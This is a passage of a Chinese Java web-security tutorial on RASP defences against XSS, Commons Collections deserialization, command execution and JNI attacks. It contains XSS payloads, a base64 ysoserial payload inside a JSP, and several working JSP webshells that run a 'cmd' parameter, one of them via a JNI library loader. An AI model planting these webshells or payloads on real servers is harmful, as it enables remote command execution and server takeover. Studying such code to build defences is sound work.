requestWrapper = new HttpServletRequestWrapper ( request ) { public String getParameter ( String name ) { // 获取参数值 String value = super . getParameter ( name ) ; // 简单转义参数值中的特殊字符 return value . replace ( \"&\" , \"&amp;\" ) . replace ( \"<\" , \"&lt;\" ) . replace ( \"'\" , \"&#039;\" ) ; } } ; chain . doFilter ( requestWrapper , resp ) ; } @Override public void destroy ( ) { } } web.xml添加XSSFilter过滤器： <!-- XSS过滤器 --> < filter > < filter-name > XSSFilter </ filter-name > < filter-class > com.anbai.sec.vuls.filter.XSSFilter </ filter-class > </ filter > < filter-mapping > < filter-name > XSSFilter </ filter-name > < url-pattern > /* </ url-pattern > </ filter-mapping > 请求XSS示例程序： http://localhost:8000/modules/servlet/xss.jsp?input=%3Cscript%3Ealert(%27xss%27);%3C/script%3E 经过全局过滤器转义后的参数就不会再带有XSS攻击能力了。 4.3 RASP XSS攻击防御 RASP可以实现类似于全局XSSFilter的请求参数过滤功能，比较稳定的一种方式是Hook到 javax.servlet.ServletRequest 接口的实现类的 getParameter/getParameterValues/getParameterMap 等核心方法，在该方法return之后插入RASP的检测代码。"},
    {"text": "示例 - RASP对getParameter返回值Hook示例： 反射型的XSS防御相对来说比较简单，直接禁止GET参数中出现 <> 标签，只要出现就理解拦截，如： http://localhost:8000/modules/servlet/xss.jsp?input= < script > alert ( 'xss' ) ; </ script > 过滤或拦截掉 <> 后 input 参数就不再具有攻击性了。"},
    {"text": "但是POST请求的XSS参数就没有那么容易过滤了，为了兼顾业务，不能简单的使用 htmlSpecialChars 的方式直接转义特殊字符，因为很多时候应用程序是必须支持HTML标签的（如： <img>、<h1> 等）。"},
    {"text": "为了支持一些常用的HTML标签和HTML标签属性，RASP可以通过词法解析的方式，将传入的字符串参数值解析成HTML片段，然后分析其中的标签和属性是否合法即可。"},
    {"text": "4.4 RASP XSS防御能力测试 4.4.1 恶意的HTML标签属性XSS测试 示例 - 提交带有XSS攻击的Payload： < img src = ' 1.jpg ' width = ' 10px ' height = ' 10px ' onerror = ' alert(/xss/); ' /> 请求示例地址： http://localhost:8000/modules/servlet/guestbook.jsp ，并填写XSS攻击代码，如下图： RASP能够正确识别并拦截XSS攻击： 4.4.2 XSS富文本检测测试 RASP如果要实现精确的XSS检测能力就必须能够正确的识别出用户传入的数据到底是否合法，经过HTML词法分析后RASP能够正确认识用户传入的参数值是否是包含了恶意的HTML标签或者属性。 示例 - 用户在留言板中带图片回复： 示例 - 用户在留言板中回复被注释的HTML片段： 经测试，RASP对XSS攻击防御能力正常，能够识别合法的HTML和javascript代码（DOM类XSS占不支持）。"},
    {"text": "Java反序列化漏洞 Java反序列化漏洞 原文： https://www.wangan.com/docs/2008 Java反序列化漏洞 Apache Commons 是 Apache 开源的Java通用类项目在Java中项目中被广泛的使用， Apache Commons 当中有一个组件叫做 Apache Commons Collections ，主要封装了Java的 Collection(集合) 相关类对象。 攻击者利用存在漏洞版本的 Apache Commons Collections 库的反序列化包发送到服务器端进行反序列化操作就会导致服务器被非法入侵。"},
    {"text": "1. RMI服务 为了便于测试反序列化漏洞，这里采用RMI服务作为示例，演示如何攻击一个RMI后端服务，因为RMI的通讯方式就是对象序列化/反序列化。"},
    {"text": "添加 commons-collections 依赖： < dependency > < groupId > commons-collections </ groupId > < artifactId > commons-collections </ artifactId > < version > 3.2.1 </ version > </ dependency > RMITestInterface.java import java . rmi . Remote ; import java . rmi . RemoteException ; public interface RMITestInterface extends Remote { String test ( ) throws RemoteException ; } RMITestImpl.java import java . rmi . RemoteException ; import java . rmi . server . UnicastRemoteObject ; public class RMITestImpl extends UnicastRemoteObject implements RMITestInterface { private static final long serialVersionUID = 1L ; protected RMITestImpl ( ) throws RemoteException { super ( ) ; } public String test ( ) throws RemoteException { return \"Hello RMI~\" ; } } RMI服务端： import java . rmi . Naming ; import java . rmi . registry . LocateRegistry ; public class RMIServerTest { // RMI服务器IP地址 public static final String RMI_HOST = \"127.0.0.1\" ; // RMI服务端口 public static final int RMI_PORT = 9527 ; // RMI服务名称 public static final String RMI_NAME = \"rmi://\" + RMI_HOST + \":\" + RMI_PORT + \"/test\" ; public static void main ( String [ ] args ) { try { // 注册RMI端口 LocateRegistry . createRegistry ( RMI_PORT ) ; // 绑定Remote对象 Naming . bind ( RMI_NAME , new RMITestImpl ( ) ) ; System . out . println ( \"RMI服务启动成功,服务地址:\" + RMI_NAME ) ; } catch ( Exception e ) { e . printStackTrace ( ) ; } } } 程序运行结果： RMI服务启动成功,服务地址 RMI客户端： package com . anbai . sec . rmi ; import java . rmi . Naming ; public class RMIClientTest { public static void main ( String [ ] args ) { try { // 查找远程RMI服务 RMITestInterface rt = ( RMITestInterface ) Naming . lookup ( \"rmi://127.0.0.1:9527/test\" ) ; // 调用远程接口RMITestInterface类的test方法 String result = rt . test ( ) ; // 输出RMI方法调用结果 System . out . println ( result ) ; } catch ( Exception e ) { e . printStackTrace ( ) ; } } } 程序运行结果： Hello RMI~ 上述示例演示了一个业务逻辑绝对的简单且安全RMI服务的正常业务流程，但是漏洞并不是出现在业务本身，而是Java的RMI服务和反序列化机制。"},
    {"text": "2. 反序列化攻击 攻击者可以借助RMI协议，发送带有 Apache Commons Collections 反序列化攻击 Payload 的请求到RMI服务端，服务端一旦反序列化RMI客户端的请求就会触发攻击链，最终实现在远程的RMI服务器上执行任意系统命令。"},
    {"text": "3. 反序列化攻击防御 修复反序列化漏洞的常规方法是升级第三方依赖库和JDK版本，或者修改 java.io.ObjectInputStream 类的 resolveClass 和 resolveProxyClass 方法，检测传入的类名是否合法。"},
    {"text": "3.1 升级JDK版本 从 JDK6u141 、 JDK7u131 、 JDK 8u121 开始引入了JEP 290， JEP 290: Filter Incoming Serialization Data 限制了RMI类反序列化，添加了安全过滤机制，在一定程度上阻止了反序列化攻击。"},
    {"text": "ObjectInputStream 在序列化对象时是会调用 java.io.ObjectInputStream#filterCheck -> sun.rmi.registry.RegistryImpl#registryFilter ，检测合法性： 当攻击者向一个实现了 JEP 290 的服务端JDK发送反序列化对象时会攻击失败并抛出： java.io.InvalidClassException: filter status: REJECTED 异常。 JDK9中 ObjectInputStream 可以设置 ObjectInputFilter ，可实现自定义对象过滤器，如下： ObjectInputStream ois = new ObjectInputStream ( bis ) ; ois . setObjectInputFilter ( new ObjectInputFilter ( ) { @Override public Status checkInput ( FilterInfo filterInfo ) { // 序列化类名称 String className = filterInfo . serialClass ( ) . getName ( ) ; // 类名检测逻辑 return ALLOWED ; } } ) ; 除此之外，还可以添加JVM启动参数： -Djdk.serialFilter 过滤危险的类，参考： JDK approach to address deserialization Vulnerability 3.2 重写ObjectInputStream类resolveClass https://github.com/ikkisoft/SerialKiller 是一个非常简单的反序列化攻击检测工具，利用的是继承 ObjectInputStream 重写 resolveClass 方法，为了便于理解，这里把 SerialKiller 改成了直接读取规则的方式检测反序列化的类名。"},
    {"text": "3.3 RASP防御反序列化攻击 RASP可以利用动态编辑类字节码的优势，直接编辑 ObjectInputStream 类的 resolveClass/resolveProxyClass 方法字节码，动态插入RASP类代码，从而实现检测反序列化脚本攻击。 package java . io ; public class ObjectInputStream extends InputStream implements ObjectInput , ObjectStreamConstants { // .. 省略其他代码 protected Class < ? > resolveClass ( ObjectStreamClass desc ) throws IOException , ClassNotFoundException { // 插入RASP检测代码，检测ObjectStreamClass反序列化的类名是否合法 } protected Class < ? > resolveProxyClass ( String [ ] interfaces ) throws IOException , ClassNotFoundException { // 插入RASP检测代码，检测动态代理类接口类名是否合法 } } RASP防御反序列化攻击流程图： 使用RASP检测反序列化攻击，可以不用受制于请求协议、服务、框架等，检测规则可实时更新，从而程度上实现反序列化攻击防御。 示例 - whoami.jsp： < % @ page contentType = \"text/html;charset=UTF-8\" language = \"java\" % > < % @ page import = \"org.apache.commons.codec.binary.Base64\" % > < % @ page import = \"java.io.ByteArrayInputStream\" % > < % @ page import = \"java.io.ObjectInputStream\" % > < % // 定义一个使用ysoserial生成的执行本地系统命令的Payload：java -jar ysoserial-0.0.6.jar CommonsCollections5 \"whoami\" |base64 byte [ ] classBuffer = Base64 . decodeBase64 ( \"rO0ABXNyAC5qYXZheC5tYW5hZ2VtZW50LkJhZEF0dHJpYnV0ZVZhbHVlRXhwRXhjZXB0aW9u1Ofaq2MtRkACAAFMAAN2YWx0ABJMamF2YS9sYW5nL09iamVjdDt4cgATamF2YS5sYW5nLkV4Y2VwdGlvbtD9Hz4aOxzEAgAAeHIAE2phdmEubGFuZy5UaHJvd2FibGXVxjUnOXe4ywMABEwABWNhdXNldAAVTGphdmEvbGFuZy9UaHJvd2FibGU7TAANZGV0YWlsTWVzc2FnZXQAEkxqYXZhL2xhbmcvU3RyaW5nO1sACnN0YWNrVHJhY2V0AB5bTGphdmEvbGFuZy9TdGFja1RyYWNlRWxlbWVudDtMABRzdXBwcmVzc2VkRXhjZXB0aW9uc3QAEExqYXZhL3V0aWwvTGlzdDt4cHEAfgAIcHVyAB5bTGphdmEubGFuZy5TdGFja1RyYWNlRWxlbWVudDsCRio8PP0iOQIAAHhwAAAAA3NyABtqYXZhLmxhbmcuU3RhY2tUcmFjZUVsZW1lbnRhCcWaJjbdhQIABEkACmxpbmVOdW1iZXJMAA5kZWNsYXJpbmdDbGFzc3EAfgAFTAAIZmlsZU5hbWVxAH4ABUwACm1ldGhvZE5hbWVxAH4ABXhwAAAAUXQAJnlzb3NlcmlhbC5wYXlsb2Fkcy5Db21tb25zQ29sbGVjdGlvbnM1dAAYQ29tbW9uc0NvbGxlY3Rpb25zNS5qYXZhdAAJZ2V0T2JqZWN0c3EAfgALAAAAM3EAfgANcQB+AA5xAH4AD3NxAH4ACwAAACJ0ABl5c29zZXJpYWwuR2VuZXJhdGVQYXlsb2FkdAAUR2VuZXJhdGVQYXlsb2FkLmphdmF0AARtYWluc3IAJmphdmEudXRpbC5Db2xsZWN0aW9ucyRVbm1vZGlmaWFibGVMaXN0/A8lMbXsjhACAAFMAARsaXN0cQB+AAd4cgAsamF2YS51dGlsLkNvbGxlY3Rpb25zJFVubW9kaWZpYWJsZUNvbGxlY3Rpb24ZQgCAy173HgIAAUwAAWN0ABZMamF2YS91dGlsL0NvbGxlY3Rpb247eHBzcgATamF2YS51dGlsLkFycmF5TGlzdHiB0h2Zx2GdAwABSQAEc2l6ZXhwAAAAAHcEAAAAAHhxAH4AGnhzcgA0b3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3Rpb25zLmtleXZhbHVlLlRpZWRNYXBFbnRyeYqt0ps5wR/bAgACTAADa2V5cQB+AAFMAANtYXB0AA9MamF2YS91dGlsL01hcDt4cHQAA2Zvb3NyACpvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMubWFwLkxhenlNYXBu5ZSCnnkQlAMAAUwAB2ZhY3Rvcnl0ACxMb3JnL2FwYWNoZS9jb21tb25zL2NvbGxlY3Rpb25zL1RyYW5zZm9ybWVyO3hwc3IAOm9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9ucy5mdW5jdG9ycy5DaGFpbmVkVHJhbnNmb3JtZXIwx5fsKHqXBAIAAVsADWlUcmFuc2Zvcm1lcnN0AC1bTG9yZy9hcGFjaGUvY29tbW9ucy9jb2xsZWN0aW9ucy9UcmFuc2Zvcm1lcjt4cHVyAC1bTG9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9ucy5UcmFuc2Zvcm1lcju9Virx2DQYmQIAAHhwAAAABXNyADtvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMuZnVuY3RvcnMuQ29uc3RhbnRUcmFuc2Zvcm1lclh2kBFBArGUAgABTAAJaUNvbnN0YW50cQB+AAF4cHZyABFqYXZhLmxhbmcuUnVudGltZQAAAAAAAAAAAAAAeHBzcgA6b3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3Rpb25zLmZ1bmN0b3JzLkludm9rZXJUcmFuc2Zvcm1lcofo/2t7fM44AgADWwAFaUFyZ3N0ABNbTGphdmEvbGFuZy9PYmplY3Q7TAALaU1ldGhvZE5hbWVxAH4ABVsAC2lQYXJhbVR5cGVzdAASW0xqYXZhL2xhbmcvQ2xhc3M7eHB1cgATW0xqYXZhLmxhbmcuT2JqZWN0O5DOWJ8QcylsAgAAeHAAAAACdAAKZ2V0UnVudGltZXVyABJbTGphdmEubGFuZy5DbGFzczurFteuy81amQIAAHhwAAAAAHQACWdldE1ldGhvZHVxAH4AMgAAAAJ2cgAQamF2YS5sYW5nLlN0cmluZ6DwpDh6O7NCAgAAeHB2cQB+ADJzcQB+ACt1cQB+AC8AAAACcHVxAH4ALwAAAAB0AAZpbnZva2V1cQB+ADIAAAACdnIAEGphdmEubGFuZy5PYmplY3QAAAAAAAAAAAAAAHhwdnEAfgAvc3EAfgArdXIAE1tMamF2YS5sYW5nLlN0cmluZzut0lbn6R17RwIAAHhwAAAAAXQABndob2FtaXQABGV4ZWN1cQB+ADIAAAABcQB+ADdzcQB+ACdzcgARamF2YS5sYW5nLkludGVnZXIS4qCk94GHOAIAAUkABXZhbHVleHIAEGphdmEubGFuZy5OdW1iZXKGrJUdC5TgiwIAAHhwAAAAAXNyABFqYXZhLnV0aWwuSGFzaE1hcAUH2sHDFmDRAwACRgAKbG9hZEZhY3RvckkACXRocmVzaG9sZHhwP0AAAAAAAAB3CAAAABAAAAAAeHg=\" ) ; ObjectInputStream bis = new ObjectInputStream ( new ByteArrayInputStream ( classBuffer ) ) ; bis . readObject ( ) ; % > 在使用RASP防御的情况下请求示例程序后Java会执行 Runtime.getRuntime().exec(\"whoami\"); ，如下图： 当启动RASP后再次请求示例程序后会发现示例程序已无法正常访问，因为当RASP发现正在反序列化的类存在恶意攻击时候会立即阻断反序列化行为，如下图： 本文章首发在 网安wangan.com 网站上。"},
    {"text": "本地命令执行漏洞 本地命令执行漏洞 原文： https://www.wangan.com/docs/2009 本地命令执行漏洞 攻击者一旦可以在服务器中执行任意本地系统命令就意味着服务器已被非法控制，在Java中可用于执行系统命令的方式有API有： java.lang.Runtime 、 java.lang.ProcessBuilder 、 java.lang.UNIXProcess / ProcessImpl 。 1. Java本地命令执行测试 示例 - 存在本地命令执行代码( java.lang.Runtime )： < % @ page contentType = \"text/html;charset=UTF-8\" language = \"java\" % > < % @ page import = \"java.io.InputStream\" % > < pre > < % Process process = Runtime . getRuntime ( ) . exec ( request . getParameter ( \"cmd\" ) ) ; InputStream in = process . getInputStream ( ) ; int a = 0 ; byte [ ] b = new byte [ 1024 ] ; while ( ( a = in . read ( b ) ) != - 1 ) { out . println ( new String ( b , 0 , a ) ) ; } in . close ( ) ; % > < / pre > 攻击者通过向 cmd 参数传入恶意的代码即可在服务器上执行任意系统命令，请求： http://localhost:8000/modules/cmd/cmd.jsp?cmd=ls ，如下图： 由于传入的 cmd 参数仅仅是一个两位的英文字母，传统的WAF基本都不具备对该类型的攻击检测，所以如果没有RASP的本地命令执行防御会导致攻击者可以在服务器中执行恶意的命令从而控制服务器。 2. 深层调用命令执行测试 示例 - 存在本地命令执行代码( java.lang.UNIXProcess )： < % @ page contentType = \"text/html;charset=UTF-8\" language = \"java\" % > < % @ page import = \"java.io.*\" % > < % @ page import = \"java.lang.reflect.Constructor\" % > < % @ page import = \"java.lang.reflect.Method\" % > < pre > < % String [ ] cmd = request . getParameterValues ( \"cmd\" ) ; if ( cmd != null ) { Class clazz = Class . forName ( new String ( new byte [ ] { 106 , 97 , 118 , 97 , 46 , 108 , 97 , 110 , 103 , 46 , 85 , 78 , 73 , 88 , 80 , 114 , 111 , 99 , 101 , 115 , 115 } ) ) ; Constructor constructor = clazz . getDeclaredConstructors ( ) [ 0 ] ; constructor . setAccessible ( true ) ; byte [ ] [ ] args = new byte [ cmd . length - 1 ] [ ] ; int size = args . length ; // For added NUL bytes for ( int i = 0 ; i < args . length ; i ++ ) { args [ i ] = cmd [ i + 1 ] . getBytes ( ) ; size += args [ i ] . length ; } byte [ ] argBlock = new byte [ size ] ; int i = 0 ; for ( byte [ ] arg : args ) { System . arraycopy ( arg , 0 , argBlock , i , arg . length ) ; i += arg . length + 1 ; } byte [ ] bytes = cmd [ 0 ] . getBytes ( ) ; byte [ ] result = new byte [ bytes . length + 1 ] ; System . arraycopy ( bytes , 0 , result , 0 , bytes . length ) ; result [ result . length - 1 ] = ( byte ) 0 ; Object object = constructor . newInstance ( result , argBlock , args . length , null , 1 , null , new int [ ] { - 1 , - 1 , - 1 } , false ) ; Method inMethod = object . getClass ( ) . getDeclaredMethod ( \"getInputStream\" ) ; inMethod . setAccessible ( true ) ; InputStream in = ( InputStream ) inMethod . invoke ( object ) ; int a = 0 ; byte [ ] b = new byte [ 1024 ] ; while ( ( a = in . read ( b ) ) != - 1 ) { out . println ( new String ( b , 0 , a ) ) ; } in . close ( ) ; } % > < / pre > 示例 - 存在本地命令执行代码( java.lang.ProcessImpl )： < % @ page contentType = \"text/html;charset=UTF-8\" language = \"java\" % > < % @ page import = \"java.io.InputStream\" % > < % @ page import = \"java.lang.reflect.Constructor\" % > < % @ page import = \"java.lang.reflect.Method\" % > < % @ page import = \"java.util.Scanner\" % > < % String str = request . getParameter ( \"cmd\" ) ; if ( str != null ) { Class clazz = Class . forName ( new String ( new byte [ ] { 106 , 97 , 118 , 97 , 46 , 108 , 97 , 110 , 103 , 46 , 80 , 114 , 111 , 99 , 101 , 115 , 115 , 73 , 109 , 112 , 108 } ) ) ; Constructor < ? > constructor = clazz . getDeclaredConstructors ( ) [ 0 ] ; constructor . setAccessible ( true ) ; Object object = constructor . newInstance ( str . split ( \"\\\\s+\" ) , null , \"./\" , new long [ ] { - 1 L , - 1 L , - 1 L } , false ) ; Method inMethod = object . getClass ( ) . getDeclaredMethod ( \"getInputStream\" ) ; inMethod . setAccessible ( true ) ; InputStream in = ( InputStream ) inMethod . invoke ( object ) ; Scanner s = new Scanner ( in ) . useDelimiter ( \"\\\\A\" ) ; out . println ( \"<pre>\" ) ; out . println ( s . hasNext ( ) ? s . next ( ) : \"\" ) ; out . println ( \"</pre>\" ) ; out . flush ( ) ; out . close ( ) ; } % > 这部分对于 linux 和 windows 系统的攻击代码有所差异，但原理上一致。 Linux系统，请求： http://localhost:8000/modules/cmd/linux-cmd.jsp?cmd=ls ，如下图： Windows系统，请求： http://localhost:8000/windows-cmd.jsp?cmd=cmd%20/c%20dir%20 ，如下图： 3. 本地命令执行防御 本地命令执行是一种非常高风险的漏洞，在任何时候都应当非常谨慎的使用，在业务中如果使用到了本地系统命令那么应当禁止接收用户传入参数。 在很多时候攻击者会利用某些漏洞（如：Struts2、反序列化等）来攻击我们的业务系统，最终利用Java本地命令执行达到控制Web服务器的目的。 这种情况下用户执行的系统命令对我们来说就不再受控制了，我们除了可以配置 SecurityManager 规则限制命令执行以外，使用RASP来防御本地命令执行就显得更加的便捷可靠。"},
    {"text": "3.1 RASP防御Java本地命令执行 在Java底层执行系统命令的API是 java.lang.UNIXProcess/ProcessImpl#forkAndExec 方法， forkAndExec 是一个native方法，如果想要Hook该方法需要使用Agent机制中的 Can-Set-Native-Method-Prefix ，为 forkAndExec 设置一个别名，如： __RASP__forkAndExec ，然后重写 __RASP__forkAndExec 方法逻辑，即可实现对原 forkAndExec 方法Hook。 示例 - Java本地命令执行API： 使用RASP的Hook机制捕获当前正在执行的系统命令，不过不同的API获取执行的命令参数的方式不太一样。 示例 - Hook java.lang.ProcessImpl执行系统命令： /** * Hook Windows系统ProcessImpl类构造方法 */ @RASPMethodHook ( className = \"java.lang.ProcessImpl\" , methodName = CONSTRUCTOR_INIT , methodArgsDesc = \".*\" , methodDescRegexp = true ) public static class ProcessImplHook extends RASPMethodAdvice { @Override public RASPHookResult < ? > onMethodEnter ( ) { try { String [ ] commands = null ; // JDK9+的API参数不一样！ if ( getArg ( 0 ) instanceof String [ ] ) { commands = getArg ( 0 ) ; } else if ( getArg ( 0 ) instanceof byte [ ] ) { commands = new String [ ] { new String ( ( byte [ ] ) getArg ( 0 ) ) } ; } // 检测执行的命令合法性 return LocalCommandHookHandler . processCommand ( commands , getThisObject ( ) , this ) ; } catch ( Exception e ) { RASPLogger . log ( AGENT_NAME + \"处理ProcessImpl异常:\" + e , e ) ; } return new RASPHookResult < ? > ( RETURN ) ; } } 3.1.1 请求参数关联分析 获取到本地命令执行的参数后需要与Http请求的参数进行关联分析，检测当前执行的系统命令是否与请求参数相关，如果确认当前执行的系统命令来源于Http请求参数，那么RASP会立即阻止命令执行并阻断Http请求。 3.1.2 限制执行本地系统命令 因为本地命令执行的危害性极大，所以在默认情况下可以直接禁止本地命令执行，如果业务的确有必要开启那么可以对相应的业务URL做白名单。"},
    {"text": "JNI攻击 JNI攻击 原文： https://www.wangan.com/docs/2010 JNI攻击 Java语言是基于C语言实现的，Java底层的很多API都是通过 JNI(Java Native Interface) 来实现的。"},
    {"text": "通过 JNI 接口 C/C++ 和 Java 可以互相调用(存在跨平台问题)。 Java可以通过JNI调用来弥补语言自身的不足(代码安全性、内存操作等)。 JNI 是一种比较特殊的方式，如果能够利用效果等同于绕过Java 命令执行API。"},
    {"text": "< % @ page contentType = \"text/html;charset=UTF-8\" language = \"java\" % > < % @ page import = \"java.io.File\" % > < % @ page import = \"java.io.FileOutputStream\" % > < % @ page import = \"java.io.IOException\" % > < % @ page import = \"java.lang.reflect.Method\" % > < % -- load_library_cmd_all . jsp ? cmd = ls -- % > < % -- 通过 JNI 的方式调用动态链接库 , 反射调用 ClassLoader 的 loadLibrary0 方法进行加载 -- % > < % ! private static final String COMMAND_CLASS_NAME = \"com.anbai.sec.cmd.CommandExecution\" ; /** * JDK1.5编译的com.anbai.sec.cmd.CommandExecution类字节码, * 只有一个public static native String exec(String cmd);的方法 */ private static final byte [ ] COMMAND_CLASS_BYTES = new byte [ ] { - 54 , - 2 , - 70 , - 66 , 0 , 0 , 0 , 49 , 0 , 15 , 10 , 0 , 3 , 0 , 12 , 7 , 0 , 13 , 7 , 0 , 14 , 1 , 0 , 6 , 60 , 105 , 110 , 105 , 116 , 62 , 1 , 0 , 3 , 40 , 41 , 86 , 1 , 0 , 4 , 67 , 111 , 100 , 101 , 1 , 0 , 15 , 76 , 105 , 110 , 101 , 78 , 117 , 109 , 98 , 101 , 114 , 84 , 97 , 98 , 108 , 101 , 1 , 0 , 4 , 101 , 120 , 101 , 99 , 1 , 0 , 38 , 40 , 76 , 106 , 97 , 118 , 97 , 47 , 108 , 97 , 110 , 103 , 47 , 83 , 116 , 114 , 105 , 110 , 103 , 59 , 41 , 76 , 106 , 97 , 118 , 97 , 47 , 108 , 97 , 110 , 103 , 47 , 83 , 116 , 114 , 105 , 110 , 103 , 59 , 1 , 0 , 10 , 83 , 111 , 117 , 114 , 99 , 101 , 70 , 105 , 108 , 101 , 1 , 0 , 21 , 67 , 111 , 109 , 109 , 97 , 110 , 100 , 69 , 120 , 101 , 99 , 117 , 116 , 105 , 111 , 110 , 46 , 106 , 97 , 118 , 97 , 12 , 0 , 4 , 0 , 5 , 1 , 0 , 34 , 99 , 111 , 109 , 47 , 97 , 110 , 98 , 97 , 105 , 47 , 115 , 101 , 99 , 47 , 99 , 109 , 100 , 47 , 67 , 111 , 109 , 109 , 97 , 110 , 100 , 69 , 120 , 101 , 99 , 117 , 116 , 105 , 111 , 110 , 1 , 0 , 16 , 106 , 97 , 118 , 97 , 47 , 108 , 97 , 110 , 103 , 47 , 79 , 98 , 106 , 101 , 99 , 116 , 0 , 33 , 0 , 2 , 0 , 3 , 0 , 0 , 0 , 0 , 0 , 2 , 0 , 1 , 0 , 4 , 0 , 5 , 0 , 1 , 0 , 6 , 0 , 0 , 0 , 29 , 0 , 1 , 0 , 1 , 0 , 0 , 0 , 5 , 42 , - 73 , 0 , 1 , - 79 , 0 , 0 , 0 , 1 , 0 , 7 , 0 , 0 , 0 , 6 , 0 , 1 , 0 , 0 , 0 , 7 , 1 , 9 , 0 , 8 , 0 , 9 , 0 , 0 , 0 , 1 , 0 , 10 , 0 , 0 , 0 , 2 , 0 , 11 } ; /** * 获取JNI链接库目录 * @return 返回缓存JNI的临时目录 */ File getTempJNILibFile ( ) { File jniDir = new File ( System . getProperty ( \"java.io.tmpdir\" ) , \"jni-lib\" ) ; if ( ! jniDir . exists ( ) ) { jniDir . mkdir ( ) ; } String filename ; if ( isWin ( ) ) { filename = \"cmd.dll\" ; } else { if ( isMac ( ) ) { filename = \"libcmd.lib\" ; } else { filename = \"libcmd.so\" ; } } return new File ( jniDir , filename ) ; } boolean isWin ( ) { return ( System . getProperty ( \"os.name\" ) != null && System . getProperty ( \"os.name\" ) . startsWith ( \"Win\" ) ) ; } boolean isWin32 ( ) { return \"32\" . equals ( System . getProperty ( \"sun.arch.data.model\" ) ) ; } boolean isMac ( ) { return ( System . getProperty ( \"os.name\" ) != null && System . getProperty ( \"os.name\" ) . startsWith ( \"Mac\" ) ) ; } /** * 高版本JDKsun.misc.BASE64Decoder已经被移除，低版本JDK又没有java.util.Base64对象， * 所以还不如直接反射自动找这两个类，哪个存在就用那个decode。"},
    {"text": "* @param str * @return */ byte [ ] base64Decode ( String str ) { try { try { Class clazz = Class . forName ( \"sun.misc.BASE64Decoder\" ) ; return ( byte [ ] ) clazz . getMethod ( \"decodeBuffer\" , String . class ) . invoke ( clazz . newInstance ( ) , str ) ; } catch ( ClassNotFoundException e ) { Class clazz = Class . forName ( \"java.util.Base64\" ) ; Object decoder = clazz . getMethod ( \"getDecoder\" ) . invoke ( null ) ; return ( byte [ ] ) decoder . getClass ( ) . getMethod ( \"decode\" , String . class ) . invoke ( decoder , str ) ; } } catch ( Exception e ) { return null ; } } /** * 写JNI链接库文件 * @param base64 JNI动态库Base64 * @return 返回是否写入成功 */ void writeJNILibFile ( String base64 ) throws IOException { if ( base64 != null ) { File jniFile = getTempJNILibFile ( ) ; if ( ! jniFile . exists ( ) ) { byte [ ] bytes = base64Decode ( base64 ) ; if ( bytes != null ) { FileOutputStream fos = new FileOutputStream ( jniFile ) ; fos . write ( bytes ) ; fos . flush ( ) ; fos . close ( ) ; } } } } % > < % String cmd = request . getParameter ( \"cmd\" ) ; String jniBytes = request . getParameter ( \"jni\" ) ; String COMMAND_JNI_FILE_BYTES ; if ( isWin ( ) ) { if ( isWin32 ( ) ) { // windows 32 COMMAND_JNI_FILE_BYTES = \"省略具体的Base64编码信息，请参考javaweb-sec/javaweb-sec-source/javasec-test/javasec-vuls-struts2/src/main/webapp/modules/jni/loadlibrary.jsp\" ; } else { // windows 64 COMMAND_JNI_FILE_BYTES = \"省略具体的Base64编码信息，请参考javaweb-sec/javaweb-sec-source/javasec-test/javasec-vuls-struts2/src/main/webapp/modules/jni/loadlibrary.jsp\" ; } } else { if ( isMac ( ) ) { // mac COMMAND_JNI_FILE_BYTES = \"省略具体的Base64编码信息，请参考javaweb-sec/javaweb-sec-source/javasec-test/javasec-vuls-struts2/src/main/webapp/modules/jni/loadlibrary.jsp\" ; } else { // centos 7 64 COMMAND_JNI_FILE_BYTES = \"省略具体的Base64编码信息，请参考javaweb-sec/javaweb-sec-source/javasec-test/javasec-vuls-struts2/src/main/webapp/modules/jni/loadlibrary.jsp\" ; } } // JNI路径 File jniFile = getTempJNILibFile ( ) ; ClassLoader loader = ( ClassLoader ) application . getAttribute ( \"__LOADER__\" ) ; if ( loader == null ) { loader = new ClassLoader ( this . getClass ( ) . getClassLoader ( ) ) { @Override protected Class < ? > findClass ( String name ) throws ClassNotFoundException { try { return super . findClass ( name ) ; } catch ( ClassNotFoundException e ) { return defineClass ( COMMAND_CLASS_NAME , COMMAND_CLASS_BYTES , 0 , COMMAND_CLASS_BYTES . length ) ; } } } ; writeJNILibFile ( jniBytes != null ? jniBytes : COMMAND_JNI_FILE_BYTES ) ; // 写JNI文件到临时文件目录 application . setAttribute ( \"__LOADER__\" , loader ) ; } try { // load命令执行类 Class commandClass = loader . loadClass ( \"com.anbai.sec.cmd.CommandExecution\" ) ; Object loadLib = application . getAttribute ( \"__LOAD_LIB__\" ) ; if ( loadLib == null || ! ( ( Boolean ) loadLib ) ) { Method loadLibrary0Method = ClassLoader . class . getDeclaredMethod ( \"loadLibrary0\" , Class . class , File . class ) ; loadLibrary0Method . setAccessible ( true ) ; loadLibrary0Method . invoke ( loader , commandClass , jniFile ) ; application . setAttribute ( \"__LOAD_LIB__\" , true ) ; } String content = ( String ) commandClass . getMethod ( \"exec\" , String . class ) . invoke ( null , cmd ) ; out . println ( \"<pre>\" ) ; out . println ( content ) ; out . println ( \"</pre>\" ) ; } catch ( Exception e ) { out . println ( e . toString ( ) ) ; throw e ; } % > 访问： http://localhost:8000/modules/jni/loadlibrary.jsp?cmd=ls，如下图： 本文章首发在 网安wangan.com 网站上。"},
    {"text": "Java容器安全 Java容器安全 Java容器安全 Java容器安全 原文： https://www.wangan.com/docs/133 Java容器安全 由于Java反序列化漏洞带来的巨大冲击，很多我们平时常用的 Web 中间件都出现了 RCE 漏洞，如： Weblogic 、 Jboss 、 WebSphere 等。运行在容器中的 Web应用 也因此遭受恶意攻击，容器自身的安全问题也引起了越来越多的人的关注。 Servlet容器基础 Servlet容器 即实现了 Servlet 规范 的Web应用服务器，负责管理Servlet的生命周期、URL访问请求和 Servlet 映射、 Servlet 注册/卸载等。 常见的Servlet容器 自 Java EE 8 开始 Java EE 已更名为 Jakarta EE ，所有的 Servlet容器 都必须实现该规范。常见的 Servlet容器 如下： Tomcat / TomEE Jetty Glassfish Server Jboss / Undertow / WildFly Resin Weblogic Server WebSphere Application Server / Liberty TongWeb (东方通) Apusic (金蝶) BES Application Server (宝兰德) InforSuite Application Server (中创) Primeton AppServer (普元) 常见的安全问题 远程代码执行 反序列化漏洞 XSS SSRF ，如： Weblogic uddiexplorer 未授权访问 Session 安全 